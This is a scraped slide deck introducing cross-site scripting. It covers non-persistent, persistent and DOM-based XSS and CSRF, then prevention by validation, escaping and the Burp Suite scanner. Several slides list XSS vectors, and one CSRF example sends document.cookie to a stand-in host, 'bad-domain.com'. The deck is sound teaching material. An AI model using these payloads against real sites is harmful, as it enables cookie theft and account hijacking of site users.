Commit 2024 - Secret Management made easy
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 

Introduction to Cross Site Scripting ( XSS )

  • 2. What is XSS Cross Site Scripting XSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code (normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of
  • 3. XSS (-ve) effects ● stealing other user’s cookies ● stealing their private information ● performing actions on behalf of other users ● redirecting to other websites ● Showing ads in hidden IFRAMES and pop-ups       
  • 4. How XSS works Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example :   Amit<script>alert (‘this site has been hacked’) ;</script>
  • 5. XSS input Note: This image has been created using Firebug and this XSS hole is not present in google.com
  • 6. XSS contd. ● Let’s assume Web server performs no validation or filtration on this data. ● Now web server either saves this data + XSS code to some persistent storage (like database) or print this data back in the HTML. ● When this XSS code, comes from server along with HTML into the web client
  • 8. XSS output Note: This image has been created using Firebug and this XSS hole is not present in google.com
  • 9. XSS vectors ● <SCRIPT SRC=http://ha.ckers.org/xss. js></SCRIPT> ● <IMG SRC=javascript:alert('XSS')> ● <IMG SRC=javascript:alert(&quot;XSS&quot;)> ● <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> ● <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> ● <IMG SRC=javascript:alert(String. fromCharCode(88,83,83))> ● <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108; &#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83; &#39;&#41;>
  • 10. Type of XSS attacks ● Non-persistent ● Persistent ● DOM Based
  • 11. Non-persistent When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links Example : same as given previously to explain XSS 
  • 12. CSRF Cross-site request forgery is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website. for example : <img src="http://bank.example/withdraw? account=bob<script>document.location=‘http://bad-domain. com/store_data?cookie=‘ + document.cookie;</script>
  • 13. CSRF Bank Server http response with CSRF Link Bad Server 1 Normal User’s Browser <img src="http://bank. example/withdraw? account=bob<script>d ocument.location= ‘http://bad-domain. com/store_data? cookie=‘ + document. cookie;</script> Normal User’s Browser Bad Server 2 http response with XSS http request with cookies http request with XSS
  • 14. Persistent XSS In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users.
  • 15. Persistent XSS – Step 1 Server Hacker’s Browser http request with XSS JavaScript Server saves XSS code to DB DB Step 1
  • 16. Persistent XSS – Step 2 Server Hacker Browser http request with XSS JavaScript Normal User Browser http response with XSS JavaScript DB Step 2 Server saves XSS code to DB
  • 17. Persistent XSS Note: This image has been created using Firebug and this XSS hole is not present in blogger.com
  • 18. DOM based attack DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.   This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).   Example … var pos = document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL. length));
  • 19. Prevention Never trust the user input data No matter where it’s coming from ( GET, POST, COOKIE etc.
  • 20. Validation at client side By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this. For example in DOJO framework   <label for="firstName">First Name: </label> <input type="text" id="firstName" name="firstName" dojoType="dijit.form.ValidationTextBox" required="true" propercase="true" promptMessage="Enter first name." invalidMessage="First name is required." trim="true”/><br>
  • 21. Validation at server By sanitizing the input data, we can prevent the malicious code to enter in the system. Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields   White lists – Allow <strong>, <em> and
  • 22. Escaping output at server Problem characters can include < > " ‘ &.These characters can be replaced with HTML character entities. For example, < can be replaced with &lt;.   5 Rules for escaping output #1 - HTML Escape before inserting into element content #2 - Attribute Escape before inserting into attributes
  • 23. Escaping text before updating DOM at client side To avoid DOM based XSS attacks.
  • 24. Web vulnerability scanner Applications These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications
  • 25. Burp suite ● Burp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another. ● Download: http://portswigger.
  • 26. Burp Tools Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions. Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality. Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications. Intruder - a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities. Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses. Sequencer - a tool for analyzing the quality of randomness in an application's session
  • 28. How to use ● Run the application and set the browser proxy to localhost: 8080 ● Open any site and Burp will create a sitemap tree in the left panel, as per the site traversal. ● Select any URL from the tree and add it to intruder. ● Add different type of payloads for attack, i. e.
  • 32. Stay Tuned Stay Connected: ● Twitter.com/irfadimtiaz ● Facebook.com/irfadimtiaz ● slideshare.net/irfadimtiaz ● http://www.irfadimtiaz.com